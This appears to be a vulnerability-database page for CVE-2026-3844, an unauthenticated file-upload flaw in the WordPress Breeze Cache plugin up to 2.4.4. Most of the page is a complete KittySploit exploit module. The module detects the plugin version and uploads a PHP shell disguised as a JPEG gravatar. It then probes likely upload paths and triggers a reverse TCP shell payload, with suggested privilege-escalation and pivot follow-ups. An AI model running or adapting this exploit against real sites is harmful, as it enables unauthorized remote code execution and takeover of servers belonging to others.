WordPress Breeze Cache <= 2.4.4 - Unauthenticated RCE
| Reporter | Title | Published | Views | Family All 37 |
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| Exploit for CVE-2026-3844 | 30 Apr 202611:04 | – | githubexploit | |
| Exploit for CVE-2026-3844 | 6 Jun 202608:37 | – | githubexploit | |
| Exploit for CVE-2026-3844 | 10 May 202622:55 | – | githubexploit | |
| Exploit for CVE-2026-3844 | 24 Apr 202602:52 | – | githubexploit | |
| Exploit for CVE-2026-3844 | 24 Apr 202610:15 | – | githubexploit | |
| Exploit for CVE-2026-3844 | 25 Apr 202617:35 | – | githubexploit | |
| Exploit for CVE-2026-3844 | 24 Apr 202610:26 | – | githubexploit | |
| Exploit for CVE-2026-3844 | 8 May 202613:07 | – | githubexploit | |
| Exploit for CVE-2026-3844 | 8 Aug 202611:43 | – | githubexploit | |
| CVE-2026-3844 | 23 Apr 202602:25 | – | attackerkb |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
from typing import List, Optional, Tuple
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress
_PLUGIN = "breeze"
_VULN_HIGH = (2, 4, 4)
_AJAX_ACTION = "breeze_fetch_gravatar"
_UPLOAD_ENDPOINTS = (
"/wp-admin/admin-ajax.php",
"/wp-content/plugins/breeze/inc/class-breeze-cache-cronjobs.php",
"/wp-cron.php",
)
class Module(Exploit, Http_client, Wordpress):
__info__ = {
"name": "WordPress Breeze Cache <= 2.4.4 - Unauthenticated RCE",
"description": (
"CVE-2026-3844 — Unauthenticated arbitrary file upload via breeze_fetch_gravatar "
"when Breeze 'Host Files Locally - Gravatars' is enabled. Uploads PHP to "
"wp-content/uploads/avatars/, gravatars/, or cache/breeze/."
),
"author": ["Tausif Zaman", "KittySploit Team"],
"cve": ["CVE-2026-3844"],
"arch": [Arch.PHP],
"platform": Platform.MULTI,
"references": [
"https://www.cve.org/CVERecord?id=CVE-2026-3844",
"https://github.com/tausifzaman",
],
"tags": [
"wordpress",
"breeze",
"file-upload",
"rce",
"unauthenticated",
"cve-2026-3844",
],
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": Arch.PHP,
"platform": Platform.PHP,
"category": "singles",
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 6,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
skip_version_check = OptBool(
False,
"Attempt exploit even when plugin version appears patched or unknown",
required=False,
advanced=True,
)
def _wp_base(self) -> str:
return self.wp_normalize_base_path(self.path or "/")
def _path(self, suffix: str) -> str:
base = self._wp_base()
if not suffix.startswith("/"):
suffix = "/" + suffix
return f"{base}{suffix}" if base != "/" else suffix
def _fetch_breeze_version(self) -> Tuple[str, str]:
wp_base = self._wp_base()
version = self.wp_plugin_version(_PLUGIN, wp_base)
if version:
return version, self.wp_plugin_path(wp_base, _PLUGIN, "readme.txt")
candidates = [
self.wp_plugin_path(wp_base, _PLUGIN, "readme.txt"),
self.wp_plugin_path(wp_base, _PLUGIN, "breeze.php"),
]
for path in candidates:
response = self.http_request(method="GET", path=path, allow_redirects=True)
if not response or response.status_code != 200:
continue
body = response.text or ""
for pattern in (
r"Stable tag:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)",
r"Version:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)",
):
match = re.search(pattern, body, re.IGNORECASE)
if match:
return match.group(1).strip(), path
if "Breeze" in body or "breeze" in body.lower():
return "", path
return "", ""
def _version_vulnerable(self, version: str) -> Optional[bool]:
if not version:
return None
return self.wp_version_in_range(version, (0, 0, 0), _VULN_HIGH)
def _shell_paths(self, filename: str) -> List[str]:
rel_paths = [
f"wp-content/uploads/avatars/{filename}",
f"wp-content/uploads/gravatars/{filename}",
f"wp-content/uploads/breeze/gravatars/{filename}",
f"wp-content/cache/breeze/{filename}",
]
return [self._path(f"/{rel}") for rel in rel_paths]
def _looks_like_shell(self, body: str) -> bool:
text = body or ""
markers = ("<?php", "Upload successful", "<form", "system(", "passthru(")
return any(marker in text for marker in markers)
def _probe_shell(self, paths: List[str]) -> Optional[str]:
for shell_path in paths:
response = self.http_request(method="GET", path=shell_path, timeout=10)
if response and response.status_code == 200 and self._looks_like_shell(response.text or ""):
return shell_path
return None
def _upload_shell(self, filename: str, shell_body: bytes) -> None:
data = {
"action": _AJAX_ACTION,
"email_hash": "00000000000000000000000000000000",
"size": "80",
}
headers = {
"X-Requested-With": "XMLHttpRequest",
"Referer": self._path("/"),
}
files = {
"gravatar_file": (filename, shell_body, "image/jpeg"),
}
for endpoint in _UPLOAD_ENDPOINTS:
response = self.http_request(
method="POST",
path=self._path(endpoint),
data=data,
files=files,
headers=headers,
timeout=20,
)
if response and response.status_code < 400:
print_info(f"{endpoint} -> HTTP {response.status_code}")
def check(self):
version, evidence = self._fetch_breeze_version()
if not evidence:
return {
"vulnerable": False,
"reason": "Breeze Cache plugin not detected",
"confidence": "low",
}
vuln = self._version_vulnerable(version)
if vuln is True:
return {
"vulnerable": True,
"reason": f"Breeze {version} <= 2.4.4 detected (local Gravatar hosting must be enabled)",
"confidence": "high",
}
if vuln is False:
return {
"vulnerable": False,
"reason": f"Breeze {version} appears patched (> 2.4.4)",
"confidence": "high",
}
return {
"vulnerable": True,
"reason": "Breeze plugin detected but version unknown — may be affected",
"confidence": "medium",
}
def run(self):
print_status("CVE-2026-3844 — Breeze Cache unauthenticated file upload")
if not self.payload:
print_error("No payload generated. Set a PHP payload (e.g. payloads/singles/cmd/php/reverse_tcp).")
return False
version, evidence = self._fetch_breeze_version()
if not evidence:
print_error("Breeze Cache plugin not detected")
self.not_vulnerable()
return False
vuln = self._version_vulnerable(version)
if version:
flag = "affected" if vuln else "patched"
print_info(f"Breeze version: {version} ({flag})")
else:
print_warning("Breeze detected but version could not be determined")
if vuln is False and not self.skip_version_check:
print_error("Target version appears patched (> 2.4.4). Use skip_version_check to force.")
self.not_vulnerable()
return False
filename = f"{self.random_text(8)}.php"
shell_body = f"<?php {self.payload} ?>".encode()
print_status("Uploading shell via breeze_fetch_gravatar...")
self._upload_shell(filename, shell_body)
shell_paths = self._shell_paths(filename)
print_status("Probing uploaded shell locations...")
shell_path = self._probe_shell(shell_paths)
if not shell_path:
print_warning("Shell not confirmed — manual verification may be needed:")
for candidate in shell_paths:
print_info(candidate)
return False
print_success(f"Shell online: {shell_path}")
print_status("Triggering payload (check listener if using reverse_tcp)...")
trigger = self.http_request(method="GET", path=shell_path, timeout=15)
if trigger and trigger.status_code == 200:
print_success("Shell triggered successfully")
self.vulnerable()
return True
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10 Jul 2026 11:31Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
EPSS0.03757
SSVC